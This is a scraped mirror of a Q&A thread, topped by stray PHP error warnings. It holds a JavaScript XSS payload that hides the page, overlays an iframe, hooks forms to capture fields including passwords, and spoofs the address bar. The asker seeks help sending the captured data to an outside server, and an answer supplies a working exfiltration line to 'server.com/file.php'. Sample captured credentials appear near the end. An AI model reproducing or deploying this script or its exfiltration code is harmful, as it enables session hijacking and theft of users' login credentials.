Warning: file_get_contents(/data/phpspider/zhask/data//catemap/9/javascript/390.json): failed to open stream: No such file or directory in /data/phpspider/zhask/libs/function.php on line 167

Warning: Invalid argument supplied for foreach() in /data/phpspider/zhask/libs/tag.function.php on line 1116

Notice: Undefined index: in /data/phpspider/zhask/libs/function.php on line 180

Warning: array_chunk() expects parameter 1 to be array, null given in /data/phpspider/zhask/libs/function.php on line 181
Javascript变量';通过HTTP请求发送时,s的输出为空_Javascript_Request - Fatal编程技术网

Javascript变量';通过HTTP请求发送时,s的输出为空

Javascript变量';通过HTTP请求发送时,s的输出为空,javascript,request,Javascript,Request,我有以下代码(注意:代码不是我的,我只是想修改它,这里是源代码:)。以下是网站上的代码: (function() { var d = new Date(); function log(m){ var s = d; for(i in m){ s += "\n" + i + ":" + m[i] + &qu

我有以下代码(注意:代码不是我的,我只是想修改它,这里是源代码:)。以下是网站上的代码:

(function() {
    var d = new Date();
    function log(m){
        var s = d;                                                      
        for(i in m){ s += "\n" + i + ":" + m[i] + " ";  }           
        console.log(s);
    }
    function spoof(k){
        window.history.pushState({}, "", k);                            
    }
    function hook(){
        $('#xss').contents().find('a').bind('click', function() {       
            log({"Event":"Link", "Current":document.URL, "Target":$(this).attr('href')});
            spoof($(this).attr('href'));
        });
        $('#xss').contents().find('form').bind('submit', function() {   
            var l = {"Event":"Form", "Current":document.URL, "Target":$(this).attr('action')};
            $.each($(this).serializeArray(), function(i, f) { l[f.name] = f.value; });
            log(l);
            spoof($(this).attr('action'));
        });
    }
    function poison() {
        if (self == top){                                           
            $('body').children().hide();                        
            log({"Hooked":document.URL});
            $('<iframe id="xss">').attr('src', document.URL).css({
                "position":"fixed", "top":"0px", "left":"0px", "bottom":"0px", "right":"0px", "width":"100%", "height":"100%", "border":"none", "margin":"0", "padding":"0", "overflow":"hidden", "z-index":"999999"
            }).appendTo('body').load(function(){                
                hook();                                             
            });
        }
    }
    function poll() {
        if (typeof(jQuery) !== 'undefined') {
            clearInterval(interval);
            poison();
        }
    }
        if (typeof(jQuery) == 'undefined') {    
                var s = document.createElement('script');
                s.src = ('https:' == document.location.protocol ? 'https://' : 'http://') + 'code.jquery.com/jquery-latest.min.js';
                document.head.appendChild(s);
                var interval = setInterval(poll, 50); 
        } else {
                poison();
        }
})();
问题是,每当我想要发出包含此变量
$(this).attr('action')
的HTTP请求时,我在服务器中得到的第二个变量的输出都是空的
document.URL
工作正常,但是第二个变量是我面临的问题。当我在浏览器中测试变量输出时,它工作正常(执行
log(l)
),我得到:


现在,我的目标是将此输出发送到服务器。

您可能需要对查询参数进行URI编码:

new Image().src=(
'http://server.com/file.php' +
“?url=”+encodeURIComponent(document.url)+
“&action=”+encodeURIComponent($(this.attr('action'))

);编码URI只提供了输出的第一行。请注意,输出包含换行符。有没有可能通过换行符获得所有输出?@KleitonKurti,正如您的问题:
我的目标是修改此代码,以便我可以向http://server.com 以下变量:document.URL和$(this.attr('action')
。我的答案正是如此。如果要发送
日志
打印的内容,则需要相应地更新请求。
new Image().src = "http://server.com/file.php?data=" + document.URL + $(this).attr('action');
Current:http://somewebsite.com
Target:/login 
utf8:✓ 
authenticity_token:random
back_url:http://somewebsite.com
username:something@email.com 
password:my_secured_password